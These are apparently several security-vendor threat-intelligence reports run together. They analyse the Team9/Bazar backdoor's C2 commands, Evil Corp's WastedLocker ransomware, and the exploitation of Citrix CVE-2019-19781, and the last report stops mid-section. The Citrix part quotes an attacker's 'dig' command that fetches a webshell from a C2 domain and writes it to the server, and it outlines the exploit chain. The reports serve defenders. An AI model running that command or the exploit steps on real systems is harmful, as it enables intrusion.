The following tables summarises the identified bazar domains and their URIs for this Team9 loader variant.
URI
Description
/api/v117
Possibly downloads the 32-bit version of the Team9 loader
/api/v118
Possibly downloads the 64-bit version of the Team9 loader
/api/v119
Possibly downloads the 32-bit version of the Team9 backdoor
/api/v120
Possibly downloads the 64-bit version of the Team9 backdoor
/api/v85
Possibly downloads the 32-bit version of the Team9 loader
/api/v86
Possibly downloads the 64-bit version of the Team9 loader
/api/v87
Possibly downloads the 32-bit version of the Team9 backdoor
/api/v88
Possibly downloads the 64-bit version of the Team9 backdoor
Table 4 – Identified URIs for Team9 loader variant
Bazar domain
bestgame[.]bazar
forgame[.]bazar
Table 5 – Identified domains for Team9 loader variant
4. Team9 backdoor
We are confident that this is the backdoor which the loader installs onto the compromised host. In addition, we believe that the first variants of the Team9 backdoor started appearing in the wild in late March 2020. Each variant does not appear to have major changes and the core of the backdoor remains the same.
During analysis, we identified the following similarities between the backdoor and its loader:
Creates a mutex with a hardcoded name in order to avoid multiple instances running at the same time (So far the mutex names which we have identified are ‘mn_185445’ and ‘{589b7a4a-3776-4e82-8e7d-435471a6c03c}’)
Verifies that the keyboard and the operating system language is not Russian
Use of Emercoin domains with a similarity in the domain name choice
Furthermore, the backdoor generates a unique ID for the infected host. The process that it follows is:
Find the creation date of ‘C:\Windows’ (Windows FILETIME structure format). The result is then converted from a hex format to an ASCII representation. An example is shown in figures 5 (before conversion) and 6 (after conversion).
Repeat the same process but for the folder ‘C:\Windows\System32’
Append the second string to the first with a bullet point as a delimiter. For example, 01d3d1d8 b10c2916.01d3d1d8 b5b1e079
Get the NETBIOS name and append it to the previous string from step 3 along with a bullet point as a delimiter. For example: 01d3d1d8 b10c2916.01d3d1d8 b5b1e079.DESKTOP-4123EEB.
Read the volume serial number of C: drive and append it to the previous string. For example: 01d3d1d8 b10c2916.01d3d1d8 b5b1e079.DESKTOP-SKCF8VA.609fbbd5
Hash the string from step 5 using the MD5 algorithm. The output hash is the bot ID.
Note: In a few samples, the above algorithm is different. The developers use hard-coded dates, the Windows directory file paths in a string format (‘C:\Windows’ and ‘C:\Windows\system32’) and the NETBIOS name. Based on the samples’ functionality, there are many indications that these binary files were created for debugging purposes.
Figure 5 – Before conversion
Figure 6 – After conversion
4.1 Network communication
The backdoor appears to support network communication over ports 80 (HTTP) and 443(HTTPS). In recent samples, a certificate is issued from the infected host for communication over HTTPS. Each request to the command and control server includes at least the following information:
A URI path for requesting tasks (/2) or sending results (/3).
Group ID. This is added in the ‘Cookie’ header.
Lastly, unlike the loader which decrypts received network replies from the command and control server using the host’s date as the key, the Team9 backdoor uses the bot ID as the key.
4.2 Bot commands
The backdoor supports a variety of commands. These are summarised in the table below.
Command ID
Description
Parameters
0
Set delay time for the command and control server requests
Time to delay the requests
1
Collect infected host information
Memory buffer to fill in the collected data
10
Download file from an address and inject into a process using either hollowing process injection or Doppelgänging process injection
DWORD value that represents the corresponding execution method. This includes:
Process hollowing injection
Process Doppelgänging injection
Write the file into disk and execute it
Process mask – DWORD value that represents the process name to inject the payload. This can be one of the following:
Explorer
Cmd
Calc (Not used in all variants)
Svchost
notepad
Address from which the file is downloaded
Command line
11
Download a DLL file and execute it
Timeout value
Address to download the DLL
Command line
Timeout time
12
Execute a batch file received from the command and control server
DWORD value to determine if the batch script is to be stored into a Windows pipe (run from memory) or in a file into disk
Timeout value.
Batch file content
13
Execute a PowerShell script received from the command and control server
DWORD value to determine if the PowerShell script is to be stored into a Windows pipe (run from memory) or in a file into disk
Timeout value.
PowerShell script content
14
Reports back to the command and control server and terminates any handled tasks
None
15
Terminate a process
PID of the process to terminate
16
Upload a file to the command and control server. Note: Each variant of the backdoor has a set file size they can handle.
Path of the file to read and upload to the command and control server.
100
Remove itself
None
Table 6 – Supported backdoor commands
Table 7 summarises the report structure of each command when it reports back (POST request) to the command and control server. Note: In a few samples, the backdoor reports the results to an additional IP address (185.64.106[.]73) If it cannot communicate with the Bazar domains.
Command ID/Description
Command execution results structure
1/ Collect infected host information
The POST request includes the following information:
Operating system information
Operating system architecture
NETBIOS name of the infected host
Username of the infected user
Backdoor’s file path
Infected host time zone
Processes list
Keyboard language
Antivirus name and installed applications
Infected host’s external IP
Shared drives
Shared drives in the domain
Trust domains
Infected host administrators
Domain admins
11/ Download a DLL file and execute it
The POST request includes the following parameters:
Command execution errors (Passed in the parameter ‘err’)
Process identifier (Passed in the ‘pid’ parameter)
Command execution output (Passed in the parameter ‘stdout’, if any)
Additional information from the command execution (Passed in the parameter ‘msg’, if any)
12/ Execute a batch file received from the command and control server
Same as the previous command (11/ Download a DLL file and execute it)
13/ Execute a PowerShell script received from the command and control server
Same as the previous command (11/ Download a DLL file and execute it)
14/ Reports back to the command and control server and terminate any handled tasks
POST request with the string ‘ok’
15/ Terminate a process
Same as the previous command (11/ Download a DLL file and execute it)
16/ Upload a file to the command and control server
No parameters. The file’s content is sent in a POST request.
100/ Remove itself
POST request with the string ‘ok’ or ‘process termination error’
Authors: Nikolaos Pantazopoulos, Stefano Antenucci (@Antelox) Michael Sandee and in close collaboration with NCC’s RIFT.
About the Research and Intelligence Fusion Team (RIFT): RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.
1. Introduction
WastedLocker is a new ransomware locker we’ve detected being used since May 2020. We believe it has been in development for a number of months prior to this and was started in conjunction with a number of other changes we have seen originate from the Evil Corp group in 2020. Evil Corp were previously associated to the Dridex malware and BitPaymer ransomware, the latter came to prominence in the first half of 2017. Recently Evil Corp has changed a number of TTPs related to their operations further described in this article. We believe those changes were ultimately caused by the unsealing of indictments against Igor Olegovich Turashev and Maksim Viktorovich Yakubets, and the financial sanctions against Evil Corp in December 2019. These legal events set in motion a chain of events to disconnect the association of the current Evil Corp group and these two specific indicted individuals and the historic actions of Evil Corp.
2. Attribution and Actor Background
We have tracked the activities of the Evil Corp group for many years, and even though the group has changed its composition since 2011, we have been able to keep track of the group’s activities under this name.
2.1 Actor Tracking
Business associations are fairly fluid in organised cybercrime groups, Partnerships and affiliations are formed and dissolved much more frequently than in nation state sponsored groups, for example. Nation state backed groups often remain operational in similar form over longer periods of time. For this reason, cyber threat intelligence reporting can be misleading, given the difficulty of maintaining assessments of the capabilities of cybercriminal groups which are accurate and current.
As an example, the Anunak group (also known as FIN7 and Carbanak) has changed composition quite frequently. As a result, the public reporting on FIN7 and Carbanak and their various associations in various open and closed source threat feeds can distort the current reality. The Anunak or FIN7 group has worked closely with Evil Corp, and also with the group publicly referred to as TA505. Hence, TA505 activity is sometimes still reported as Evil Corp activity, even though these groups have not worked together since the second half of 2017.
It can also be difficult to accurately attribute responsibility for a piece of malware or a wave of infection because commodity malware is typically sold to interested parties for mass distribution, or supplied to associates who have experience in monetising access to a specific type of business, such as financial institutions. Similarly, it is easy for confusion to arise around the many financially oriented organised crime groups which are tracked publicly. Access to victim organisations is traded as a commodity between criminal actors and so business links often exist which are not necessarily related to the day to day operations of a group.
2.2 Evil Corp
Nevertheless, despite these difficulties, we feel that we can assert the following with high confidence, due to our in depth tracking of this group as it posed a significant threat to our clients. Evil Corp has been operating the Dridex malware since July 2014 and provided access to several groups and individual threat actors. However, towards the end of 2017 Evil Corp became smaller and used Dridex infections almost exclusively for targeted ransomware campaigns by deploying BitPaymer. The majority of victims were in North America (mainly USA) with a smaller number in Western Europe and instances outside of these regions being just scattered, individual cases. During 2018, Evil Corp had a short lived partnership with TheTrick group; specifically, leasing out access to BitPaymer for a while, prior to their use of Ryuk.
In 2019 a fork of BitPaymer usually referred to as DoppelPaymer appeared, although this was ransomware as a service and thus was not the same business model. We have observed some cooperation between the two groups, but as yet can draw no definitive conclusions as to the current relationship between these two threat actor groups.
After the unsealing of indictments by the US Department of Justice and actions against Evil Corp as group by the US Treasury Department, we detected a short period of inactivity from Evil Corp until January 2020. However, since January 2020 activity has resumed as usual, with victims appearing in the same regions as before. It is possible, however, that this was primarily a strategic move to suggest to the public that Evil Corp was still active as, from around the middle of March 2020, we failed to observe much activity from them in terms of BitPaymer deployments. Of course, this period coincided with the lockdowns due to the COVID19 pandemic.
The development of new malware takes time and it is probable that they had already started the development of new techniques and malware. Early indications that this work was underway included the use of a variant of Gozi we refer to as Gozi ISFB 2 variant. It is thought that this variant is intended as a replacement for Dridex botnet 501 as one of the persistent components on a target network. Similarly, a customized version of the CobaltStrike loader has been observed, possibly intended as a replacement for the Empire PowerShell framework previously used.
The group has access to highly skilled exploit and software developers capable of bypassing network defences on all different levels. The group seems to put a lot of effort into bypassing endpoint protection products; this observation is based on the fact that when a certain version of their malware is detected on victim networks the group is back with an undetected version and able to continue after just a short time. This shows the importance of victims fully understanding each incident that happens. That is, detection or blocking of a single element from the more advanced criminal actors does not mean they have been defeated.
The lengths Evil Corp goes through in order to bypass endpoint protection tools is demonstrated by the fact that they abused a victim’s email so they could pose as a legitimate potential client to a vendor and request a trial license for a popular endpoint protection product that is not commonly available.
It appears the group regularly finds innovative but practical approaches to bypass detection in victim networks based on their practical experience gained throughout the years. They also demonstrate patience and persistence. In one case, they successfully compromised a target over 6 months after their initial failure to obtain privileged access. They also display attention to detail by, for example, ensuring that they obtain the passwords to disable security tools on a network prior to deploying the ransomware.
2.3 WastedLocker
The new WastedLocker ransomware appeared in May 2020 (a technical description is included below). The ransomware name is derived from the filename it creates which includes an abbreviation of the victim’s name and the string ‘wasted’. The abbreviation of the victim’s name was also seen in BitPaymer, although a larger portion of the organisation name was used in BitPaymer and individual letters were sometimes replaced by similar looking numbers.
Technically, WastedLocker does not have much in common with BitPaymer, apart from the fact that it appears that victim specific elements are added using a specific builder rather than at compile time, which is similar to BitPaymer. Some similarities were also noted in the ransom note generated by the two pieces of malware. The first WastedLocker example we found contained the victim name as in BitPaymer ransom notes and also included both a protonmail.com and tutanota.com email address. Later versions also contained other Protonmail and Tutanota email domains, as well as Eclipso and Airmail email addresses. Interestingly the user parts of the email addresses listed in the ransom messages are numeric (usually 5 digit numbers) which is similar to the 6 to 12 digit numbers seen used by BitPaymer in 2018.
Evil Corp are selective in terms of the infrastructure they target when deploying their ransomware. Typically, they hit file servers, database services, virtual machines and cloud environments. Of course, these choices will also be heavily influenced by what we may term their ‘business model’ – which also means they should be able to disable or disrupt backup applications and related infrastructure. This increases the time for recovery for the victim, or in some cases due to unavailability of offline or offsite backups, prevents the ability to recover at all.
It is interesting that the group has not appeared to have engaged in extensive information stealing or threatened to publish information about victims in the way that the DoppelPaymer and many other targeted ransomware operations have. We assess that the probable reason for not leaking victim information is the unwanted attention this would draw from law enforcement and the public.
3. Distribution
While many things have changed in the TTPs of Evil Corp recently, one very notable element has not changed, the distribution via the SocGholish fake update framework. This framework is still in use although it is now used to directly distribute a custom CobaltStrike loader, described in 4.1, rather than Dridex as in the past years. One of the more notable features of this framework is the evaluation of wether a compromised victim system is part of a larger network, as a sole enduser system is of no use to the attackers. The SocGholish JavaScript bot has access to information from the system itself as it runs under the privileges of the browser user. The bot collects a large set of information and sends that to the SocGholish server side which, in turn, returns a payload to the victim system. Other methods of distribution also appear to still be in use, but we have not been able to independently verify this at the time of writing.
4. Technical Analysis
4.1 CobaltStrike payloads
The CobaltStrike payloads are embedded inside two types of PowerShell scripts. The first type (which targets Windows 64-bit only) decodes a base64 payload twice and then decrypts it using the AES algorithm in CBC mode. The AES key is derived by computing the SHA256 hash of the hard-coded string ‘saN9s9pNlD5nJ2EyEd4rPym68griTOMT’ and the initialisation vector (IV), is derived from the first 16 bytes of the twice base64-decoded payload. The script converts the decrypted payload (a base64-encoded string) to bytes and allocates memory before executing it.
The second type is relatively simpler and includes two embedded base64-encoded payloads, an injector and a loader for the CobaltStrike payload. It appears that both the injector and the loader are part of the ‘Donut’ project [3].
An interesting behaviour can be spotted in the CobaltStrike payloads that are delivered from the second type of PowerShell scripts. In these, the loader has been modified with the purpose of detecting CrowdStrike software (Figure 1). If the C:\\Program Files\\CrowdStrike directory exists, then the ‘FreeConsole’ Windows API is called after loading the CobaltStrike payload. Otherwise, the ‘FreeConsole’ function is called before loading the CobaltStrike beacon. It is assumed that this is an attempt to bypass CrowdStrike’s endpoint solution, although it still unclear if this is the case.
Figure 1: Decompilation showing CrowdStrike specific detection logic
4.2 The Crypter
WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, the code turned out to be very basic and used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader.
The crypter mainly contains junk code to increase entropy of the sample and hide the actual code. We have found 2 crypter variants with some code differences, but mostly with the same logic applied.
The first action performed by the crypter code is to check some specific registry key. In the variants analysed the registry key is either: interface\{b196b287-bab4-101a-b69c-00aa00341d07} or interface\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}. These keys relate to the UCOMIEnumConnections Interface and the IActiveScriptParseProcedure32 interface respectively. If the key is not detected, the crypter will enter an infinite loop or exit, thus it is used as an anti-analysis technique.
In the next step the crypter allocates a memory buffer calling the VirtualAlloc API. A while loop is used to join a series of data blobs into the allocated buffer, and the contents of this buffer are then decrypted with an XOR based algorithm. Once decrypted, the crypter jumps into the data blob which turns out to be a shellcode responsible for decrypting the actual payload. The shellcode copies the encrypted payload into another buffer allocated by calling the VirtualAlloc API, and then decrypts this with an XOR based algorithm in a similar way to that described above. To execute the payload, the shellcode replaces the crypter’s code in memory with the code of the payload just decrypted, and jumps to its entry point.
As noted above, we have observed this crypter being used by other malware families as well. Related information and IOCs can be found in the Appendix.
4.3 WastedLocker Ransomware
WastedLocker aims to encrypt the files of the infected host. However before the encryption procedure runs, WastedLocker performs a few other tasks to ensure the ransomware will run properly.
First, Wastedlocker decrypts the strings which are stored in the .bss section and then calculates a DWORD value that is used later for locating decrypted strings that are related to the encryption process. This is described in more detail in the String encryption section. In addition, the ransomware creates a log file lck.log and then sets an exception handler that creates a crash dump file in the Windows temporary folder with the filename being the ransomware’s binary filename.
If the ransomware is not executed with administrator rights or if the infected host runs Windows Vista or later, it will attempt to elevate its privileges. In short, WastedLocker uses a well-documented UAC bypass method [1] [2]. It chooses a random file (EXE/DLL) from the Windows system32 folder and copies it to the %APPDATA% location under a different hidden filename. Next, it creates an alternate data stream (ADS) into the file named bin and copies the ransomware into it. WastedLocker then copies winsat.exe and winmm.dll into a newly created folder located in the Windows temporary folder. Once loaded, the hijacked DLL (winmm.dll) is patched to execute the aforementioned ADS.
The ransomware supports the following command line parameters (Table 1):
Parameter
Purpose
-r
i. Delete shadow copies ii. Copy the ransomware binary file to %windir%\system32 and take ownership of it (takeown.exe /F filepath) and reset the ACL permissions iii. Create and run a service. The service is deleted once the encryption process is completed.
-s
Execute service’s entry
-p directory_path
Encrypt files in a specified directory and then proceed with the rest of the files in the drive
-f directory_path
Encrypt files in a specified directory
Table 1 – WastedLocker command line parameters
It is also worth noting that in case of any failure from the first two parameters (-r and –s), the ransomware proceeds with the encryption but applies the following registry modifications in the registry key Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap:
Name
Modification
ProxyBypass
Deletes this key
IntranetName
Deletes this key
UNCAsIntranet
Sets this key to 0
AutoDetect
Sets this key to 1
Table 2 – Registry keys
The above modifications apply to both 32-bit and 64-bit systems and is possibly done to ensure that the ransomware can access remote drives. However, a bug is included in the architecture identification code. The ransomware authors use a well-known method to identify the operating system architecture. The ransomware reads the memory address 0x7FFE0300 (KUSER_SHARED_DATA) and checks if the pointer is zero. If it is then the 32-bit process of the ransomware is running in a Windows 64-bit host (Figure 2). The issue is that this does not work on Windows 10 systems.
Figure 2: Decompilation showing method used to identify operating system architecture
Additionally, WastedLocker chooses a random name from a generated name list in order to generate filename or service names. The ransomware creates this list by reading the registry keys stored in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control and then separates their names whenever a capital letter is found. For example, the registry key AppReadiness will be separated to two words, App and Readiness.
4.4 Strings Encryption
The strings pertaining to the ransomware are encrypted and stored in the .bss section of the binary file. This includes the ransom note along with other important information necessary for the ransomware’s tasks. The strings are decrypted using a key that combined the size and raw address of the .bss section, as well as the ransomware’s compilation timestamp.
The code’s authors use an interesting method to locate the encrypted strings related to the encryption process. To locate one of them, the ransomware calculates a checksum that is looked up in the encrypted strings table. The checksum is derived from both a constant value that is unique to each string and a fixed value, which are bitwise XORed. The encrypted strings table consists of a struct like shown below for each string.
struct ransomware_string
{
WORD total_size; // string_length + checksum + ransom_string
WORD string_length;
DWORD Checksum;
BYTE[string_length] ransom_string;
};
4.5 Encryption Process
The encryption process is quite straightforward. The ransomware targets the following drive types:
Removable
Fixed
Shared
Remote
Instead of including a list of extension targets, WastedLocker includes a list of directories and extensions to exclude from the encryption process. Files with a size less than 10 bytes are also ignored and in case of a large file, the ransomware encrypts them in blocks of 64MB.
Once a drive is found, the ransomware starts searching for and encrypting files. Each file is encrypted using the AES algorithm with a newly generated AES key and IV (256-bit in CBC mode) for each file. The AES key and IV are encrypted with an embedded public RSA key (4096 bits). The RSA encrypted output of key material is converted to base64 and then stored into the ransom note.
For each encrypted file, the ransomware creates an additional file that includes the ransomware note. The encrypted file’s extension is set according to the targeted organisations name along with the prefix wasted (hence the name we have gave to this ransomware). For example, test.txt.orgnamewasted (encrypted data) and test.txt.orgnamewasted_info (ransomware note). The ransomware note and the list of excluded directories and extensions is available in the Appendix. Finally, once the encryption of each file has been completed, the ransomware updates the log file with the following information:
Number of targeted files
Number of files which were encrypted
Number of files which were not encrypted due to access rights issues
4.6 WastedLocker Decrypter
During our analysis, we managed to identify a decrypter for WastedLocker. The decrypter requires administrator privileges and similarl to the encryption process, it reports the number of files which were successfully decrypted (Figure 3).
Figure 3: Command line output of the decrypter of WastedLocker
*ORGANIZATION_NAME*
YOUR NETWORK IS ENCRYPTED NOW
USE *EMAIL1* | *EMAIL2* TO GET THE PRICE FOR YOUR DATA
DO NOT GIVE THIS EMAIL TO 3RD PARTIES
DO NOT RENAME OR MOVE THE FILE
THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY:
[begin_key]*[end_key]
KEEP IT
Excluded extensions (in addition to orgnamewasted and orgnamewasted_info)
IoCs related to targeted ransomware attacks are a generally misunderstood concept in the case of targeted ransomware. Each ransomware victim has a custom build configured or compiled for them and so the knowing the specific hashes used against historic victims does not provide any protection at all. Even if behavioural patterns of the ransomware or network related indicators of the ransomware stage are given (should they exist), it is arguable whether detection of the attack at that stage would allow prevention of the actual attack. We do include known ransomware hashes here; however, please note that these are for RESEARCH PURPOSES ONLY. Blocking files based on these file attributes in any endpoint protection product will not provide any value.
At Fox-IT we focus mainly on detection of the initial stages of such attacks (such as the initial stage of infection) by detecting the various methods of infection delivery as well as the lateral movement stage which typically involves scanning, exploitation and/or credential dumping. Providing these IoCs to the wider public would, however, be counterproductive as the threat actors would simply change these methods or work around the indicators. However, we have included some of them to provide historical as well as current protection or detection against this particular threat, and provide a better understanding of this threat actor. It is also hoped this information will help other organisations to conduct further research into this particular threat.
CobaltStrike This particular set of domains is used as C&C by the group for CobaltStrike lateral movement activity, using a custom loader, Note that in 2020 the group has completely switched to using CobaltStrike and is no longer using the Empire PowerShell framework as it is no longer being updated by the original creators.
Gozi ISFB v2 This particular set contains C&C domains, bot version, Group ID, RSA key and Serpent encryption keys for 2 Gozi variants used for persistence in victim networks during 2020.
The following IoCs are specifically related to the crypter used by Evil Corp, which we refer to as CryptOne. Given that CryptOne is used by more malware families and variations than just those related to Evil Corp it is likely that CryptOne is a third party service.
List of metadata extracted from Gozi ISFB v3 samples
We have found a sample crypted by the CryptOne crypter as used by WastedLocker, which is capable of detecting/disabling a list of security software. It is believed that this tool is used during ransomware deployment, but we have no specific evidence that it was used by Evil Corp. However in the past we have seen execution of commands listed in the tool to disable Microsoft Windows Defender.
Authors: Rich Warren of NCC Group FSAS & Yun Zheng Hu of Fox-IT, in close collaboration with Fox-IT’s RIFT.
About the Research and Intelligence Fusion Team (RIFT):
RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.
In this blog post we will revisit CVE-2019-19781, a Remote Code Execution vulnerability affecting Citrix NetScaler / ADC. We will explore how this issue has been widely abused by various actors and how a hacker turf war led to some actors “adversary patching” the vulnerability in order to prevent secondary compromise by competing adversaries – hiding the true number of vulnerable and compromised devices in the wild.
Following this, we will take a deep-dive into the vulnerability itself and present a previously unpublished technique which can be used to exploit CVE-2019-19781, without any vulnerable Perl file – bypassing the “adversary patching” techniques used by some attackers.
We will also provide statistics on exploitation, patching and backdoors we have identified in the wild.
Public Exploitation & Backdoors
Back in January 2020, shortly before the first public exploits for CVE-2019-19781 were released, Fox-IT built and deployed a number of honeypots in order to keep an eye on exploitation attempts by malicious actors. Additionally, we developed our own in-house exploit in order to study and understand the vulnerability, as well as to use it on our Red Team engagements.
On 10th January 2020, the first public exploits werereleased on GitHub. Shortly after this we started to see a significant uptick in both scanning and exploitation of the vulnerability. Most of the initial exploits weaponised by attackers came in the form of coin-miners, however a number of other “interesting” attacks were also observed within the first few days of exploitation. Typically, these involved a webshell being deployed to the compromised device.
This allowed us to collect a list of backdoors deployed by attackers, and subsequently develop signatures which could be used to identify backdoors as well as specific indicators of compromise. Following this, Fox-IT’s RIFT Team were able to gather statistics around patch adoption and backdoors deployed in the wild.
As an example, the following webshell was observed being dropped as part of a group of backdoors which we refer to as the “Iran Network Team” backdoors, first described in our Reddit live blog on January 13th 2020. It is important to note that although this particular actor used a C2 domain of cmd.irannetworkteam.org we have not made any attribution to Iran or any other state actor. At the time however, this particular attacker stood out as distinct from many other attackers, who appeared to be focused on deploying coin-miners.
Instead, this attacker appeared to be concerned with gaining remote persistent access to as many systems as possible, deploying a number of PHP webshells using the Project Zero India public exploit. These webshells would be deployed by issuing a “dig” command such as the following:
exec('dig cmd.irannetworkteam.org txt|tee /var/vpn/themes/login.php | tee /netscaler/portal/templates/REDACTED.xml');
This would fetch the webshell content via a TXT record hosted on the C2 domain. The content of which would be written to the following PHP file:
/var/vpn/themes/login.php
Variants were also observed, using the “logout.php” file instead, as well as staging payloads via Base64 encoded files named “readme.txt” and “read.txt”.
This PHP file was in fact a simple webshell, which did not require any authentication in order to interact with it, other than knowing the POST parameter name. According to our statistics, this attacker was largely successful in deploying their backdoor to a significant number of systems, many of which, although patched, are left vulnerable due to the password-less backdoor left open on their devices. This backdoor could be used not only by the original attacker, but also by any script-kiddie or state actor with knowledge of the webshell path and POST parameter name.
As well as backdoors, we were also able to identify specific exploitation artifacts. For example, when studying the “Iran Network Team” attacks, we noticed that the attacker would commonly stage secondary payloads within the public directory of the server, meaning that their presence could be easily detected.
Once the signatures for each backdoor variant were developed, analysis of the available data was carried out. This initially included 5 different known backdoors and artifacts and was done using data from late January 2020. This provided some interesting results, some of which are detailed below.
In January 2020 a total of 1030 compromised servers were identified. The majority of these compromised devices were situated in the US, with a total of 2057 backdoors and artifacts being identified. Many of these compromised devices included Governmental organizations and Fortune 500 companies. There appeared to be no specific sector that was targeted more than any other, however backdoors were observed on high-profile organisations from a number of industries including manufacturing, media, telecoms, healthcare, financial and technology.
Backdoors – Count by Country
However, of perhaps more concern was that, of these compromised devices, 54% had been patched against CVE-2019-19781, thus providing their administrators with a false sense of security. This is because although the devices were indeed patched, any backdoor installed by an attacker prior to this would not have been removed by simply installing the vendor’s patch.
Note that the Unknown hosts recorded below indicate hosts that did not respond with an expected HTTP request (e.g. a 403 or a 200)
Backdoored Servers – Patch Status
From Malware to Palware
Following the initial discovery of public exploitation of this vulnerability, the team at FireEye released their analysis of a new backdoor, named “NOTROBIN’, written in Golang. What was different about this backdoor however, was that instead of deploying a coin-miner or a simple webshell, NOTROBIN would actually attempt to identify and remove any backdoors that had been installed prior to it, as well as attempt to block further exploitation by deleting new XML files or scripts that did not contain a per-infection secret key.
This marked a shift, at least for one actor, to a new type of infection, which DCSO eloquently described as “palware” – a seemingly innocent piece of malware with the primary goal of preventing other actors from deploying their own malware.
But was the actor behind NOTROBIN the only one to deploy this “palware” method? Possibly not. A number of anecdotalcases, as well as our own first-hand experience suggest that other attackers have also carried out “adversary patching” by deleting the vulnerable Perl scripts (such as newbm.pl) from compromised devices, thus preventing other attackers from exploiting the same issue, whilst maintaining access for themselves.
Whether or not this is in fact a separate actor, or actually a quirk of NOTROBIN’s backdoor removal function however, is not so clear. As mentioned earlier, one of the features of NOTROBIN’s backdoor removal function (aptly named remove_bds), is to remove any file within the /netscaler/portal/scripts/directory which has been recently modified and does not contain NOTROBIN’s secret key within either the filename or the contents. Of course this would include any backdoor that had been dropped by a previous attacker, however if one of the built-in scripts such as newbm.pl had been modified, perhaps as the result of a backdoor being added, this would also result in the removal of that file by NOTROBIN. This means that not only that the backdoor would be removed, but that the entire script, and all its legitimate functionality would be wiped out with it.
We have also responded on incident response cases where the “vulnerable” Perl files such as newbm.pl have been renamed to contain the NOTROBIN key, e.g.:
/netscaler/portal/scripts/<key>_newbm.pl
Effectively making the vulnerability only exploitable by an actor with prior knowledge of the infection key.
As a result, there are hosts, which on the surface appear to be patched, however have in fact been compromised by a previous attacker, and the “vulnerable” Perl files removed or renamed.
During the remainder of this blog post, we will discuss the inner workings of the Citrix vulnerability and exploit. We will then demonstrate a new exploitation technique which would allow an attacker to bypass both NOTROBIN’s patching method, as well as enable exploitation of a device that has had the vulnerable Perl scripts removed.
Vulnerability Deep Dive
Before we get into the details of bypassing the “adversary patch”, we will spend some time refreshing ourselves with what the vulnerability was, and how it is exploited.
TL;DR Version
Essentially, exploitation of this issue can be broken down into two steps which we will discuss in detail later. A short summary is given below:
Step 1: An HTTP request is made to a “vulnerable” Perl file. The attacker may or may not need to use directory traversal within the URL in order to access the Perl file, depending on whether the request is being made to a management or virtual IP interface. An HTTP header is supplied containing a directory traversal string to an XML file, which is to be written to disk. Note: A “vulnerable” Perl file is considered to be any Perl file which calls the `UserPrefs::csd` function followed by the `UserPrefs::filewrite` This is important, and typical of all public exploits.
Step 2: A follow-up HTTP request is then made, causing the crafted XML file to be rendered by the template engine, resulting in arbitrary code-execution.
Of course, we’ve skipped some steps here to simplify things, but the important thing to remember is the following limitations of this exploitation method:
A “vulnerable” Perl file must exist on the system (which is certainly the case by default, however another attacker or a well-meaning administrator may have removed it)
Two HTTP requests are required in order to achieve code execution.
Detailed Exploitation Steps
In order to fully understand the steps detailed above, let’s look at how the vulnerability works in detail, and explain why these steps are necessary. This should help us later to understand how to bypass the limitations.
If you are already familiar with the inner workings of the exploit you can skip over this next section.
For a good background on exploitation of this issue, please check out the MDSec blog post, which explains in great detail the vulnerability and exploitation steps. However for the sake of completeness (and to highlight a few specific things) we will explain it here too.
The CVE-2019-19781 “vulnerability” is in fact the CVE used to record the mitigation steps for a number of vulnerabilities which could be exploited together to achieve unauthenticated remote code execution. Citrix later released a patch to remediate the majority of these vulnerabilities used as part of the exploit chain.
Directory Traversal
The first of the vulnerabilities was a path canonicalisation issue which allowed requests to the Virtual IP (VIP) interface to bypass certain access control measures, if the request contained a directory traversal string. This essentially allowed an unauthenticated user to invoke Perl scripts which were not intended to be exposed via the public interface. This included Perl scripts within the /vpns/portal/scripts/directory, thus exposing any underlying vulnerabilities which might exist within the Perl scripts contained in this directory.
So, now the attacker is able to access certain Perl scripts within the “scripts” directory. However, another vulnerability is needed to turn that unintended access into arbitrary file write, and eventual code execution.
Controlled File Write
The next issue, a partially controlled file-write, existed within the UserPrefs.pm module. Specifically, within the csd function, which takes the value of the NSC_USER header supplied within the request and sets it as the $username variable. This username value is then later used to build the $self->{filename} instance variable without any form of sanitisation on the supplied value.
As shown in the following screenshots, the username value is taken directly from the HTTP header, before being concatenated with some predefined values to form the filename variable.
csd Function
User-controlled Filename
However, this alone does not lead to an exploitable condition. All it does is set a variable. We need to cause this value to be used for something useful. Given the name of the filename variable, we can make a pretty good guess at what it’s used for, and lo-and-behold there is indeed a function named file<strong>write, also contained within the UserPrefs.pm module.
filewrite Function
This function takes the username value, and again uses it to build a path to write out an XML file to the filesystem (note that it reconstructs the path from username again). The contents of this file are controlled via the $doc variable, which depending on when it is called, contains various user-controlled data.
So filewrite can be tricked into writing an XML file to an arbitrary location via a directory traversal in the HTTP header, but how do we trigger a call to filewrite, and how do we control the contents?
Well, as UserPrefs is a Perl module we cannot simply execute it directly via the URL traversal. Instead we need to find and invoke a Perl script, which makes use of the vulnerable functionality. For that we need to find a Perl file which:
Is invokable as an unauthenticated user (i.e. contained in the `/vpns/portal/scripts` directory)
Calls both `csd` and `filewrite` from the `UserPrefs.pm` module
As discussed in many blog posts and tweets, as well as used in a number of public exploits, the newbm.pl script fits this requirement.
First it instantiates a UserPrefs object (called $user), before calling the csd function on the $user object (remember, this allows us to control the filename via the NSC_USER header). It subsequently accepts some data provided by the user in the request, including a url, title and desc parameter. These parameters are set as instance variables of the $doc object and passed to the filewrite function, where the data is serialised to an XML file on disk. This means that we can now control the path of where the XML file is written, as well as some limited content, via the name, url or desc parameters.
Call to csd function:
Call to csd Function
User supplied data added to $newBM variable:
User-controlled Values
User controlled properties assigned to $doc before calling filewrite:
Values Passed to filewrite Function
Now we have a semi-controlled file-write where we can write an XML file anywhere on disk and control some of the content, however we need a way to leverage this to achieve code execution. This is where the Template Toolkit component comes into play.
Perl Code Execution
